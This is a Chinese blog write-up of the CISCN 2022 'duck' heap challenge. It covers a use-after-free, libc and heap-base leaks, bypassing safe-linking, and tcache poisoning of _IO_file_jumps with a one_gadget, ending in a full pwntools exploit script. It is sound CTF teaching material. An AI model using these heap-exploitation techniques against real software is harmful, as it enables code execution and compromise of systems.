首页 > 其他分享 >[CISCN 2022 华东北] duck

[CISCN 2022 华东北] duck

时间:2024-05-02 23:22:05浏览次数:41  
标签:tcache addr idx int sendlineafter 2022 io duck CISCN

[CISCN 2022 华东北] duck

UAF|leak_libc|leak_heap_base|指针加密|unsortedbin|one_gadget

[*] '/home/bamuwe/duck/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

$ checksec ./pwn

/home/ubuntu/glibc/glibc-2.34/build/lib/gconv
/home/ubuntu/glibc/glibc-2.34/build/lib/locale
/home/ubuntu/glibc/glibc-2.34/build/lib/locale/locale-archive
/home/ubuntu/glibc/glibc-2.34/build/share/locale
...

$ strings /home/bamuwe/duck/libc.so.6 |grep glibc

1.Add
2.Del
3.Show
4.Edit
Choice:

$ ./pwn

int del()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Idx: ");
  v1 = numinput();
  if ( v1 <= 20 && qword_4060[v1] )
  {
    free(qword_4060[v1]);
    return puts("Done");
  }
  else
  {
    puts("Not allow");
    return v1;
  }
}

del()漏洞函数

没有清除指针,存在uaf

int edit()
{
  int v1; // [rsp+8h] [rbp-8h]
  unsigned int v2; // [rsp+Ch] [rbp-4h]

  puts("Idx: ");
  v1 = numinput();
  if ( v1 <= 20 && qword_4060[v1] )
  {
    puts("Size: ");
    v2 = numinput();
    if ( v2 > 0x100 )
    {
      return puts("Error");
    }
    else
    {
      puts("Content: ");
      sub_12AC(qword_4060[v1], v2);
      puts("Done");
      return 0;
    }
  }
  else
  {
    puts("Not allow");
    return v1;
  }
}

edit()

int sub_13F3()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Idx: ");
  v1 = numinput();
  if ( v1 <= 20 && qword_4060[v1] )
  {
    puts(qword_4060[v1]);
    return puts("Done");
  }
  else
  {
    puts("Not allow");
    return v1;
  }
}

show()

int add()
{
  int i; // [rsp+4h] [rbp-Ch]
  void *v2; // [rsp+8h] [rbp-8h]

  v2 = malloc(0x100uLL);
  for ( i = 0; i <= 19; ++i )
  {
    if ( !qword_4060[i] )
    {
      qword_4060[i] = v2;
      puts("Done");
      return 1;
    }
  }
  return puts("Empty!");
}

add()

def add():
    io.sendlineafter(b'Choice: ',b'1')
    
def free(idx):
    io.sendlineafter(b'Choice: ',b'2')
    io.sendlineafter(b'Idx: \n',str(int(idx)))
    
def show(idx):
    io.sendlineafter(b'Choice: ',b'3')
    io.sendlineafter(b'Idx: \n',str(int(idx)))
    
def edit(idx,content):
    io.sendlineafter(b'Choice: ',b'4')
    io.sendlineafter(b'Idx: \n',str(int(idx)))
    io.sendlineafter(b'Size: \n',str(int(0x100)))
    io.send(content)

程序逻辑:

  1. add()会分配一个0x110空间的堆块

    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b000
    Size: 0x291
    
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b290
    Size: 0x111
    
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b3a0
    Size: 0x111
    
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b4b0
    Size: 0x111
    
    Top chunk | PREV_INUSE
    Addr: 0x55555555b5c0
    Size: 0x20a41
    
  2. edit()能够对堆上数据进行修改

    1.Add
    2.Del
    3.Show
    4.Edit
    Choice: 1
    Done
    1.Add
    2.Del
    3.Show
    4.Edit
    Choice: 1
    Done
    1.Add
    2.Del
    3.Show
    4.Edit
    Choice: 4
    Idx:
    0
    Size:
    10
    Content:
    AAAA
    Done
    1.Add
    2.Del
    3.Show
    4.Edit
    Choice: 
    
    0x55555555b290  0x0000000000000000      0x0000000000000111      ................
    0x55555555b2a0  0x0000000a41414141      0x0000000000000000      AAAA............
    0x55555555b2b0  0x0000000000000000      0x0000000000000000      ................
    0x55555555b2c0  0x0000000000000000      0x0000000000000000      ................
    0x55555555b2d0  0x0000000000000000      0x0000000000000000      ................
    0x55555555b2e0  0x0000000000000000      0x0000000000000000      ................
    0x55555555b2f0  0x0000000000000000      0x0000000000000000      ................
    

利用思路:

  1. 先用unsorted_bin泄露libcheap_base

    for i in range(9):
        add()           #0-7
    for i in range(9):
        free(i)         #0-7
    #leak_libc
    show(7)
    main_arena_addr = u64(io.recv(6).ljust(8,b'\x00'))-96
    libc_offset = main_arena_addr-lib.sym['main_arena']
    one_addr = 0xda864+libc_offset			#one_gadget
    IO_file_jumps = libc_offset + lib.sym['_IO_file_jumps']
    success(f'main_arena_addr=>{hex(main_arena_addr)}')
    success(f'one_addr=>{hex(one_addr)}')
    success(f'IO_file_jumps=>{hex(IO_file_jumps)}')
    #leak_heap_base
    show(0)
    heap_base_addr = u64(io.recv(5).ljust(8,b'\x00'))
    success(f'heap_base_addr=>{hex(heap_base_addr)}')
    

    获得了libc,heap_base,one_gadget

  2. 利用tcache_bin伪造fake_chunk获得shell

    for i in range(5):
        add()           #8-13
    edit(1,p64(heap_base_addr^IO_file_jumps))       #对chunk0修改	`指针加密`
    add()               #14
    add()               #15
    edit(15,p64(0)*3+p64(one_addr))
    

    image-20240502224722784

    先控制tcache_bin中剩余两个节点,方便我们操作

    image-20240502224849916

    成功修改为IO_file_jumps地址,这里因为指针加密机制的存在,所以p64(heap_base_addr^IO_file_jumps)

关于指针加密:

glibc2.32之后引入了一个新的指针机制:

/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
  tcache->entries[tc_idx] = REVEAL_PTR (e->next);
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

malloc

引入了一个异或加密,现在要寻找一个地址,需要使用真实地址与heap_base地址进行异或,得到指针,给利用带来了难度,但同时也带来了新的泄露姿势

https://www.anquanke.com/post/id/236186


exp:

#Ubuntu2.34
from pwn import *
context.log_level = 'debug'
io = gdb.debug('./pwn')
# io = remote('node4.anna.nssctf.cn',28254)
elf = ELF('./pwn')
lib = ELF('/home/bamuwe/duck/libc.so.6')
def add():
    io.sendlineafter(b'Choice: ',b'1')
    
def free(idx):
    io.sendlineafter(b'Choice: ',b'2')
    io.sendlineafter(b'Idx: \n',str(int(idx)))
    
def show(idx):
    io.sendlineafter(b'Choice: ',b'3')
    io.sendlineafter(b'Idx: \n',str(int(idx)))
    
def edit(idx,content):
    io.sendlineafter(b'Choice: ',b'4')
    io.sendlineafter(b'Idx: \n',str(int(idx)))
    io.sendlineafter(b'Size: \n',str(int(0x100)))
    io.send(content)

for i in range(9):
    add()           #0-7
for i in range(9):
    free(i)         #0-7
                    
#leak_libc
show(7)
main_arena_addr = u64(io.recv(6).ljust(8,b'\x00'))-96
libc_offset = main_arena_addr-lib.sym['main_arena']
one_addr = 0xda864+libc_offset			#one_gadget
IO_file_jumps = libc_offset + lib.sym['_IO_file_jumps']
success(f'main_arena_addr=>{hex(main_arena_addr)}')
success(f'one_addr=>{hex(one_addr)}')
success(f'IO_file_jumps=>{hex(IO_file_jumps)}')
#leak_heap_base
show(0)
heap_base_addr = u64(io.recv(5).ljust(8,b'\x00'))
success(f'heap_base_addr=>{hex(heap_base_addr)}')

for i in range(5):
    add()           #8-13
edit(1,p64(heap_base_addr^IO_file_jumps))       #对chunk0修改
add()               #14
add()               #15
edit(15,p64(0)*3+p64(one_addr))
io.interactive()

标签:tcache,addr,idx,int,sendlineafter,2022,io,duck,CISCN
From: https://www.cnblogs.com/bamuwe/p/18170739

相关文章

  • [D^3CTF 2022] shortes
    拿到jar包,审一下源码。先看pom.xml的依赖:rome反序列化没跑了。再看到MainController.java:这里设置了一个hello路由,可以传参baseStr,但是长度不能超过1956,如果满足条件,就会到下面base64解码然后反序列化。其他的没啥好看的。所以思路还是很明显的,就是写一个rome链的反序列化......
  • [2022DASCTF Apr X FATE 防疫挑战赛] warmup-java
    没错,还是java。我就跟java杠上了。分析先看依赖:没有啥特别的。审一下源码:IndexController.java:warmup路由下传参data,下面把十六进制转为字节直接反序列化了。看下动态代理MyInvocationHandler.java:看一下Utils的hexStringToBytes方法: 下面分析来自Java专题-简......
  • [CISCN 2022 东北]hana 题解(易语言逆向)
    [CISCN2022东北]hana脱壳过程首先看一下程序信息程序检测到了UPX的特征,但是下面的特征又显示是VMP壳使用010Editor打开文件将两个VMP0和VMP1改成UPX0和UPX1并保存文件,接下来使用UPX脱壳分析程序这里需要用到一个易语言反编译插件以及一个易语言函数查询网站IDA易语......
  • [NISACTF 2022]UAF
    [NISACTF2022]UAFUAFpwn:ELF32-bitLSBexecutable,Intel80386,version1(SYSV),dynamicallylinked,interpreter/lib/ld-linux.so.2,forGNU/Linux2.6.32,BuildID[sha1]=85bd87e16a35c0c05064a1a0938f6115b8b3b2be,notstripped$filepwn[*]'/ho......
  • [HNCTF 2022 WEEK4]ezheap
    [HNCTF2022WEEK4]ezheapOff-By-One|堆溢出|leak_libc[*]'/home/bamuwe/ezheap/ezheap'Arch:amd64-64-littleRELRO:FullRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled$checksec./ezheapEasyNo......
  • cf 393017C 石头剪刀布 Metacamp2022-onlineA-dev
     Problem-C-Codeforces 五维的DPg[i][D][r][s][p]i:到了第i个位置D:最后有D个点放在后面r,s,p:已经选择了r,s,p个石头,剪刀,布放到后面 四维的DPf[i][D][r][s][p]i:到了第i个位置D:目前有D个点放在后面r,s,p:已经选择了r,s,p个石头,剪刀,布放到后面其......
  • P8866 [NOIP2022] 喵了个喵
    P8866[NOIP2022]喵了个喵构造模拟题,思路很简洁,但是代码不好写。首先看到数据范围,发现\(k\)的数据范围很特殊,种类少一种就是部分分,所以\(k\)一定是关键的,先思考\(k=2n-2\)的情况。\(k=2n-2\)观察两种操作,对于即将进入的牌\(x\),若某个栈顶或栈底有相同的\(x\),我们都可......
  • CISCN2023初赛-web复现
    Unzip       简单的软链接,都玩烂了。先创个软链接连接到/var/www/html,然后再创个同名文件夹,在这个文件夹下写马,传上去后等效在/var/www/html上写马,直接连接读flag就行了。deserbugjava审计。很显然的反序列化,bugstr传参。lib中出了hutool还有CC3.2.2,但CC自......
  • 2022ccpc题解
    2023年第五届河南省CCPC大学生程序设计竞赛ProblemA.Mocha上小班啦思路:求n个数位的最小值,条件:每一位数字都不同切不含前导零。只需要把0放到第二位,其他按从小到大输出,大于10以后输出-1即可。#include<bits/stdc++.h>usingnamespacestd;intmain(){//预处......
  • The 2022 ICPC Asia Xian Regional Contest / ICPC 西安 2022 (ABDHJKL)
    本文搬运自本人的知乎文章。https://zhuanlan.zhihu.com/p/588162564好久没有在补题之后写题解的习惯了。但是最近感觉有些题目的思路即使在题目通过后仍然难以理清,因此觉得需要写些东西帮助自己整理思路,另外也方便以后翻看积累到的技巧。J.StrangeSum题目链接Problem-J......